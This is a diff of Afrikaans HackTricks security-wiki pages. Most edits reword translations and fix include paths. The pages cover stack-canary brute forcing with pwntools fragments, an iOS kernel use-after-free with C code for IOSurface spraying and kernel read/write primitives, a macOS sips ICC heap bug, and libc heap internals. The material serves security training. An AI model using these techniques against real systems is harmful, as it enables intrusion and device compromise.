-> Die doel van hierdie afdeling is om te wys hoe om 'n reeds vooropgeleide model fyn af te stel sodat in plaas daarvan om nuwe teks te genereer, die LLM die **waarskynlikhede van die gegewe teks om in elkeen van die gegewe kategorieë gekategoriseer te word** (soos of 'n teks spam is of nie) sal gee.
+> Die doel van hierdie afdeling is om te wys hoe om 'n reeds vooropgeleide model fyn af te stel sodat in plaas daarvan om nuwe teks te genereer, die LLM die **waarskynlikhede van die gegewe teks wat in elkeen van die gegewe kategorieë gekategoriseer word** (soos of 'n teks spam is of nie) sal gee.

 {{#ref}}
 7.1.-fine-tuning-for-classification.md
@ -93,10 +93,10 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet
 ## 7.2. Fyn-Afstemming om instruksies te volg

 > [!TIP]
-> Die doel van hierdie afdeling is om te wys hoe om **'n reeds vooropgeleide model fyn af te stel om instruksies te volg** eerder as net teks te genereer, byvoorbeeld, om op take as 'n chat bot te reageer.
+> Die doel van hierdie afdeling is om te wys hoe om **'n reeds vooropgeleide model fyn af te stel om instruksies te volg** eerder as net teks te genereer, byvoorbeeld, om op take te reageer as 'n chat bot.

 {{#ref}}
 7.2.-fine-tuning-to-follow-instructions.md
 {{#endref}}

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/binary-exploitation/arbitrary-write-2-exec/README.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md
@ -1,3 +1,3 @@
-# Arbitrêre Skrywe 2 Exec
+# Arbitrary Write 2 Exec

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
@ -8,7 +8,7 @@

 ## Kwetsbare Kode

-Die kwesbare funksie lees en nulmaak 16 bytes wat begin vanaf 'n aanvaller-beheerde offset sonder om te verseker dat dit binne die toegewyde buffer lê:
+Die kwesbare funksie lees en stel 16 bytes nul vanaf 'n aanvaller-beheerde offset sonder om te verseker dat dit binne die toegewyde buffer lê:
 ```c
 // Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
 for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
@ -30,7 +30,7 @@ Slegs 'n kontrole `offsetToCLUT <= totalDataLength` word uitgevoer. Deur `offset
 sips --verifyColor malicious.icc
 ```

-3. **Heap metadata korrupsie:** Die OOB nul-skrywings oorskryf allokator metadata of aangrensende wysers, wat die aanvaller in staat stel om die vloei van beheer te kapen en arbitrêre kode-uitvoering in die konteks van die `sips` proses te bereik.
+3. **Heap metadata korrupsie:** Die OOB nul-skrywings oorskryf allokator metadata of aangrensende wysers, wat die aanvaller in staat stel om die vloei van beheer te kapen en arbitrêre kode-uitvoering te bereik in die konteks van die `sips` proses.

 ## Impak

@ -39,7 +39,7 @@ Suksesvolle eksploitatie lei tot afstandelike arbitrêre kode-uitvoering met geb
 ## Opsporing

 - Monitor lêer oordragte op algemene protokolle (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
- Inspekteer oorgedra lêers met handtekening `acsp`.
+- Ondersoek oorgedra lêers met handtekening `acsp`.
 - Vir elke `mAB ` of `mBA ` tag, verifieer of die `Offset to CLUT` veld gelyk is aan die `Tag data size`.
 - Merk as verdag indien hierdie voorwaarde nagekom word.

@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner
 - Apple Oktober 2024 Sekuriteitsopdatering (patch wat CVE-2024-44236 verskaf)
 https://support.apple.com/en-us/121564

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/binary-exploitation/array-indexing.md
+++ b/src/binary-exploitation/array-indexing.md
@ -11,10 +11,10 @@ Hier kan jy egter 'n paar mooi **voorbeelde** vind:
 - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
 - Daar is **2 botsende arrays**, een vir **adresse** waar data gestoor word en een met die **groottes** van daardie data. Dit is moontlik om een van die ander te oorskryf, wat dit moontlik maak om 'n arbitrêre adres aan te dui as 'n grootte. Dit stel jou in staat om die adres van die `free` funksie in die GOT tabel te skryf en dit dan te oorskryf met die adres na `system`, en `free` vanaf 'n geheue met `/bin/sh` aan te roep.
 - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, geen nx. Oorskry 'n grootte om 'n tipe buffer overflow te kry waar alles as 'n dubbele getal gebruik gaan word en gesorteer word van kleinste na grootste, so dit is nodig om 'n shellcode te skep wat aan daardie vereiste voldoen, met inagneming dat die canary nie van sy posisie verplaas moet word nie en uiteindelik die RIP oorskryf met 'n adres na ret, wat aan die vorige vereistes voldoen en die grootste adres 'n nuwe adres wat na die begin van die stapel wys (geleek deur die program) sodat dit moontlik is om die ret te gebruik om daarheen te spring.
+- 64 bits, geen nx. Oorskry 'n grootte om 'n tipe buffer overflow te kry waar alles as 'n dubbele getal gebruik gaan word en gesorteer word van die kleinste na die grootste, so dit is nodig om 'n shellcode te skep wat aan daardie vereiste voldoen, met inagneming dat die canary nie van sy posisie verplaas moet word nie en uiteindelik die RIP oorskryf met 'n adres na ret, wat aan die vorige vereistes voldoen en die grootste adres 'n nuwe adres wat na die begin van die stapel wys (geleek deur die program) sodat dit moontlik is om die ret te gebruik om daarheen te spring.
 - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
 - 64bits, geen relro, canary, nx, geen pie. Daar is 'n off-by-one in 'n array in die stapel wat dit moontlik maak om 'n pointer te beheer wat WWW toeken. (dit skryf die som van al die getalle van die array in die oorskryfde adres deur die off-by-one in die array). Die stapel is beheer, sodat die GOT `exit` adres oorskryf word met `pop rdi; ret`, en in die stapel word die adres na `main` bygevoeg (terugloop na `main`). 'n ROP-ketting om die adres van put in die GOT te lek met behulp van puts word gebruik (`exit` sal aangeroep word, so dit sal `pop rdi; ret` aanroep, wat hierdie ketting in die stapel uitvoer). Uiteindelik word 'n nuwe ROP-ketting wat ret2lib uitvoer, gebruik.
 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
 - 32 bit, geen relro, geen canary, nx, pie. Misbruik 'n slegte indeksering om adresse van libc en heap vanaf die stapel te lek. Misbruik die buffer overflow om 'n ret2lib aan te roep wat `system('/bin/sh')` aanroep (die heap adres is nodig om 'n kontrole te omseil).

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@ -2,19 +2,19 @@

 {{#include ../../../banners/hacktricks-training.md}}

-**As jy 'n binêre teëkom wat deur 'n kanarie en PIE (Posisie Onafhanklike Uitvoerbare) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.**
+**As jy 'n binêre teenkom wat deur 'n kanarie en PIE (Posisie Onafhanklike Uitvoerbare) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.**

 ![](<../../../images/image (865).png>)

 > [!TIP]
 > Let daarop dat **`checksec`** dalk nie sal vind dat 'n binêre deur 'n kanarie beskerm word nie as dit staties gecompileer is en nie in staat is om die funksie te identifiseer nie.\
-> Jy kan egter dit handmatig opgemerk as jy vind dat 'n waarde in die stapel gestoor word aan die begin van 'n funksie-aanroep en hierdie waarde voor die uitgang nagegaan word.
+> Jy kan egter dit handmatig opgemerk as jy vind dat 'n waarde in die stapel gestoor word aan die begin van 'n funksie-aanroep en hierdie waarde word nagegaan voordat dit verlaat.

 ## Brute force Kanarie

-Die beste manier om 'n eenvoudige kanarie te omseil, is as die binêre 'n program is wat **kindproses elke keer fork wanneer jy 'n nuwe verbinding met dit maak** (netwerkdiens), want elke keer as jy met dit verbind, **sal dieselfde kanarie gebruik word**.
+Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre 'n program is wat **kindproses elke keer fork wanneer jy 'n nuwe verbinding met dit maak** (netwerkdiens), want elke keer as jy met dit verbind, **sal dieselfde kanarie gebruik word**.

-Dan is die beste manier om die kanarie te omseil net om dit **brute-force per karakter** te doen, en jy kan uitvind of die geraamde kanarie-byte korrek was deur te kyk of die program gecrash het of sy gewone vloei voortgaan. In hierdie voorbeeld **brute-forseert die funksie 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek geraamde byte en 'n slegte byte net deur **te kyk** of 'n **antwoord** deur die bediener teruggestuur word (nog 'n manier in **ander situasie** kan wees om 'n **try/except** te gebruik):
+Dan is die beste manier om die kanarie te omseil net om dit **brute-force te doen karakter vir karakter**, en jy kan uitvind of die geraamde kanarie-byte korrek was deur te kyk of die program gecrash het of sy gewone vloei voortgaan. In hierdie voorbeeld **brute-forseert die funksie 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek geraamde byte en 'n slegte byte net deur **te kyk** of 'n **antwoord** deur die bediener teruggestuur word (nog 'n manier in **ander situasie** kan wees om 'n **try/except** te gebruik):

 ### Voorbeeld 1

@ -59,8 +59,8 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
 ```
 ### Voorbeeld 2

-Dit is geïmplementeer vir 32-bis, maar dit kan maklik verander word na 64-bis.\
-Let ook daarop dat die **program eerstens 'n byte verwag om die grootte van die invoer** en die payload aan te dui.
+Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits.\
+Let ook daarop dat die **program verwag eers 'n byte om die grootte van die invoer aan te dui** en die payload.
 ```python
 from pwn import *

@ -105,11 +105,11 @@ log.info(f"The canary is: {canary}")

 Drade van dieselfde proses sal ook **diezelfde canary-token deel**, daarom sal dit moontlik wees om 'n canary te **brute-forc**e as die binêre 'n nuwe draad genereer elke keer as 'n aanval plaasvind.

-Boonop kan 'n buffer **overflow in 'n gedrade funksie** wat met canary beskerm word, gebruik word om die **master canary wat in die TLS gestoor is, te wysig**. Dit is omdat dit moontlik mag wees om die geheueposisie te bereik waar die TLS gestoor is (en dus, die canary) via 'n **bof in die stapel** van 'n draad.\
-As gevolg hiervan is die mitigering nutteloos omdat die kontrole gebruik word met twee canaries wat dieselfde is (alhoewel gewysig).\
-Hierdie aanval word in die skrywe uitgevoer: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+Boonop kan 'n buffer **overflow in 'n gedrade funksie** wat met canary beskerm word, gebruik word om die **meester canary wat in die TLS gestoor is, te wysig**. Dit is omdat dit moontlik mag wees om die geheueposisie te bereik waar die TLS gestoor is (en dus, die canary) via 'n **bof in die stapel** van 'n draad.\
+As gevolg hiervan is die mitigasie nutteloos omdat die kontrole gebruik word met twee canaries wat dieselfde is (alhoewel gewysig).\
+Hierdie aanval word uitgevoer in die skrywe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

-Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat die **TLS** gewoonlik gestoor word deur **`mmap`** en wanneer 'n **stapel** van **draad** geskep word, dit ook deur `mmap` gegenereer word volgens dit, wat die overflow mag toelaat soos in die vorige skrywe gewys.
+Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat gewoonlik die **TLS** gestoor word deur **`mmap`** en wanneer 'n **stapel** van **draad** geskep word, dit ook deur `mmap` gegenereer word volgens dit, wat die overflow mag toelaat soos in die vorige skrywe gewys.

 ## Ander voorbeelde & verwysings

@ -119,4 +119,4 @@ Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue_jp/master-can



-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/binary-exploitation/ios-exploiting.md
+++ b/src/binary-exploitation/ios-exploiting.md
@ -1,6 +1,6 @@
 # iOS Exploiting

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

 ## Fisiese gebruik-na-vry

@ -18,8 +18,8 @@ Bladsy tabelle is hiërargies georganiseer in drie vlakke:
 * Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue.
 * Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
 2. **L2 Bladsy Tabel (Vlak 2)**:
-* 'n Inskrywing hier verteenwoordig 'n kleiner gebied van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
-* 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele gebied self kan kaart nie.
+* 'n Inskrywing hier verteenwoordig 'n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
+* 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele streek self kan kaart nie.
 3. **L3 Bladsy Tabel (Vlak 3)**:
 * Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheue bladsy kaart.
 * 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is.
@ -38,7 +38,7 @@ Kom ons sê jy probeer om toegang te verkry tot die virtuele adres **0x100000000
 1. **L1 Tabel**:
 * Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **wys na 'n L2 bladsy tabel** het, gaan dit na daardie L2 tabel.
 2. **L2 Tabel**:
-* Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daarheen.
+* Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daar voort.
 3. **L3 Tabel**:
 * Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheue bladsy verwys.

@ -59,7 +59,7 @@ Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys:

 1. 'n Proses **toewys** 'n bietjie geheue as **leesbaar en skryfbaar**.
 2. Die **bladsy tabelle** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan toegang.
-3. Die proses **deallocate** (vry) die geheue.
+3. Die proses **deallokeer** (vry) die geheue.
 4. Maar, as gevolg van 'n **fout**, vergeet die kernel om die kaarting uit die bladsy tabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk.
 5. Die kernel kan dan **hertoewys hierdie "vrygemaakte" fisiese geheue** vir ander doeleindes, soos **kernel data**.
 6. Aangesien die kaarting nie verwyder is nie, kan die proses steeds **lees en skryf** na hierdie fisiese geheue.
@ -73,7 +73,7 @@ Aangesien die aanvaller nie kan beheer watter spesifieke kernel bladsye aan vryg
 1. Die aanvaller **skep 'n groot aantal IOSurface-objekte** in kernel geheue.
 2. Elke IOSurface-objek bevat 'n **magiese waarde** in een van sy velde, wat dit maklik maak om te identifiseer.
 3. Hulle **skandeer die vrygemaakte bladsye** om te sien of enige van hierdie IOSurface-objekte op 'n vrygemaakte bladsy beland het.
-4. Wanneer hulle 'n IOSurface-objek op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **te lees en te skryf na kernel geheue**.
+4. Wanneer hulle 'n IOSurface-objek op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **kernel geheue te lees en te skryf**.

 Meer inligting hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)

@ -81,11 +81,11 @@ Meer inligting hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](h

 1. **Spray IOSurface-Objekte**: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").
 2. **Skandeer Vrygemaakte Bladsye**: Hulle kyk of enige van die objekke op 'n vrygemaakte bladsy toegeken is.
-3. **Lees/Skryf Kernel Geheue**: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om **arbitraire lees en skryf** in kernel geheue uit te voer. Dit laat hulle toe:
-* Gebruik een veld om **enige 32-bit waarde** in kernel geheue te lees.
-* Gebruik 'n ander veld om **64-bit waardes** te skryf, wat 'n stabiele **kernel lees/skryf primitief** bereik.
+3. **Lees/Skryf Kernel Geheue**: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om **arbitraire lees en skryf** in kernel geheue uit te voer. Dit laat hulle toe om:
+* Een veld te gebruik om **enige 32-bit waarde** in kernel geheue te lees.
+* 'n Ander veld te gebruik om **64-bit waardes** te skryf, wat 'n stabiele **kernel lees/skryf primitief** bereik.

-Genereer IOSurface-objekte met die magiese waarde IOSURFACE\_MAGIC om later vir te soek:
+Genereer IOSurface-objekte met die magiese waarde IOSURFACE\_MAGIC om later te soek:
 ```c
 void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
 if (*nClients >= 0x4000) return;
@ -151,13 +151,13 @@ Die IOSurface objek het twee belangrike velde:
 1. **Gebruik Tel Punter**: Laat 'n **32-bit lees** toe.
 2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bit skryf** toe.

-Deur hierdie punters te oorskryf, lei ons hulle na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
+Deur hierdie punters te oorskryf, lei ons dit na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.

 #### 32-Bit Kernel Lees

 Om 'n lees uit te voer:

-1. Oorskryf die **gebruik tel punter** om na die teikenadres minus 'n 0x14-byt offset te wys.
+1. Oorskryf die **gebruik tel punter** om na die teiken adres minus 'n 0x14-byte offset te wys.
 2. Gebruik die `get_use_count` metode om die waarde op daardie adres te lees.
 ```c
 uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -176,9 +176,9 @@ iosurface_set_use_count_pointer(info.object, orig);
 return value;
 }
 ```
-#### 64-Bit Kernel Skryf
+#### 64-Bit Kernel Write

-Om 'n skryf te doen:
+Om 'n skrywe uit te voer:

 1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
 2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
@ -204,5 +204,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);

 With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).

-
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
--- a/src/binary-exploitation/libc-heap/README.md
+++ b/src/binary-exploitation/libc-heap/README.md
@ -1,6 +1,6 @@
 # Libc Heap

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Heap Basics

@ -12,18 +12,18 @@ Soos getoon, is dit net na waar die binêre in geheue gelaai word (kyk die `[hea

 ### Basic Chunk Allocation

-Wanneer sekere data versoek word om in die heap gestoor te word, word 'n gedeelte van die heap aan dit toegeken. Hierdie ruimte behoort aan 'n bin en slegs die versoekte data + die ruimte van die bin koppe + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit moeilik te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vrye chunk is.
+Wanneer daar data aangevra word om in die heap gestoor te word, word 'n stuk ruimte in die heap aan dit toegeken. Hierdie ruimte behoort aan 'n bin en slegs die aangevraagde data + die ruimte van die bin kopstukke + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit moeilik te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vrye chunk is.

 Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:

 - Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
- As daar in die lys van chunks iemand beskikbaar is groot genoeg om die versoek te vervul, sal dit gebruik word.
- Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie versoek gebruik sal word en die res aan die chunks lys bygevoeg sal word.
+- As daar in die lys van chunks iemand beskikbaar groot genoeg is om die aanvraag te vervul, sal dit gebruik word.
+- Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res aan die chunks lys bygevoeg sal word.
 - As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, skep die heap bestuurder 'n nuwe chunk.
 - As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
 - As alles misluk, keer `malloc` null terug.

-Let daarop dat as die versoekte **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die versoekte geheue te kaart.
+Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die aangevraagde geheue te kaart.

 ## Arenas

@ -31,7 +31,7 @@ In **multithreaded** toepassings moet die heap bestuurder **race conditions** vo

 Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** met sy **eie** data **strukture** en **mutex** optree, wat verskeie threads in staat stel om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.

-Die standaard "hoof" arena hanteer heap operasies vir enkel-draad toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe indien nodig, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
+Die standaard "hoof" arena hanteer heap operasies vir enkel-draad toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.

 In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag te simuleer, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.

@ -43,16 +43,16 @@ Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassi
 - Die aanvanklike heap is direk na die program se binêre in geheue geleë, en dit brei uit deur die `sbrk` stelselaanroep.
 - Subheaps, wat deur sekondêre arenas gebruik word, word geskep deur `mmap`, 'n stelselaanroep wat 'n gespesifiseerde geheuegebied kaart.
 2. **Geheue Reservasie met `mmap`**:
- Wanneer die heap bestuurder 'n subheap skep, reserveer dit 'n groot blok geheue deur `mmap`. Hierdie reservasie allokeer nie onmiddellik geheue nie; dit dui eenvoudig 'n gebied aan wat ander stelsels of toewysings nie moet gebruik nie.
+- Wanneer die heap bestuurder 'n subheap skep, reserveer dit 'n groot blok geheue deur `mmap`. Hierdie reservasie allokeer nie onmiddellik geheue nie; dit dui eenvoudig 'n gebied aan wat ander stelsels of allokasies nie moet gebruik nie.
 - Standaard is die gereserveerde grootte vir 'n subheap 1 MB vir 32-bis prosesse en 64 MB vir 64-bis prosesse.
 3. **Geleidelike Uitbreiding met `mprotect`**:
 - Die gereserveerde geheuegebied is aanvanklik gemerk as `PROT_NONE`, wat aandui dat die kernel nie fisiese geheue aan hierdie ruimte hoef toe te ken nie.
 - Om die subheap te "groei", gebruik die heap bestuurder `mprotect` om bladsy toestemmings van `PROT_NONE` na `PROT_READ | PROT_WRITE` te verander, wat die kernel aanmoedig om fisiese geheue aan die voorheen gereserveerde adresse toe te ken. Hierdie stap-vir-stap benadering laat die subheap toe om uit te brei soos nodig.
- Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met toewysing.
+- Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met allokasie.

 ### heap_info <a href="#heap_info" id="heap_info"></a>

-Hierdie struct allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer toewysings nie, hierdie struct sal ook daardie inligting stoor.
+Hierdie struct allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer allokasies nie, hierdie struct sal ook daardie inligting stoor.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837

@ -91,9 +91,9 @@ Daar is 'n paar interessante dinge om te noem van hierdie struktuur (sien C kode
 ```

 - Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
- Daarom sal die **eerste chunk** van hierdie bins 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **vorentoe wysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan **leak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
+- Daarom sal die **eerste chunk** van hierdie bins 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **vorentoe wysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy hierdie adresse in die **hoof arena** kan **leak**, jy 'n pointer na die struktuur in die **libc** sal hê.
 - Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is verknopte lyste van arenas
- Die `top` chunk is die laaste "chunk", wat basies **alle heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
+- Die `top` chunk is die laaste "chunk", wat basies **al die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
 - Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplit is, 'n pointer oorblywende deel word hier geplaas.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -144,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem;
 ```
 ### malloc_chunk

-Hierdie struktuur verteenwoordig 'n spesifieke stuk geheue. Die verskillende velde het verskillende betekenisse vir toegewezen en ongetoewysde stukke.
+Hierdie struktuur verteenwoordig 'n spesifieke stuk geheue. Die verskillende velde het verskillende betekenisse vir toegewezen en nie-toegewezen stukke.
 ```c
 // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
 struct malloc_chunk {
@ -159,14 +159,14 @@ struct malloc_chunk* bk_nextsize;

 typedef struct malloc_chunk* mchunkptr;
 ```
-Soos voorheen opgemerk, het hierdie stukke ook 'n paar metadata, baie goed voorgestel in hierdie beeld:
+Soos voorheen kommentaar gelewer, het hierdie stukke ook 'n paar metadata, baie goed verteenwoordig in hierdie beeld:

 <figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>

 Die metadata is gewoonlik 0x08B wat die huidige stukgrootte aandui met die laaste 3 bits om aan te dui:

 - `A`: As 1 kom dit van 'n subheap, as 0 is dit in die hoofarena
- `M`: As 1, is hierdie stuk deel van 'n ruimte wat met mmap toegeken is en nie deel van 'n heap nie
+- `M`: As 1, is hierdie stuk deel van 'n ruimte wat met mmap toegeken is en nie deel van 'n heap is nie
 - `P`: As 1, is die vorige stuk in gebruik

 Dan, die ruimte vir die gebruikersdata, en uiteindelik 0x08B om die vorige stukgrootte aan te dui wanneer die stuk beskikbaar is (of om gebruikersdata te stoor wanneer dit toegeken word).
@ -181,11 +181,11 @@ Boonop, wanneer beskikbaar, word die gebruikersdata ook gebruik om 'n paar data
 <figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>

 > [!TIP]
-> Let op hoe die lys op hierdie manier verbind, die behoefte aan 'n array waar elke enkele stuk geregistreer word, voorkom.
+> Let op hoe die lys op hierdie manier verbind die behoefte om 'n array te hê waar elke enkele stuk geregistreer word, voorkom.

 ### Stuk Wysers

-Wanneer malloc gebruik word, word 'n wys na die inhoud wat geskryf kan word, teruggegee (net na die koptekste), egter, wanneer stukke bestuur word, is 'n wys na die begin van die koptekste (metadata) nodig.\
+Wanneer malloc gebruik word, word 'n wys na die inhoud wat geskryf kan word, teruggestuur (net na die koptekste), egter, wanneer stukke bestuur word, is 'n wys na die begin van die koptekste (metadata) nodig.\
 Vir hierdie omskakelings word hierdie funksies gebruik:
 ```c
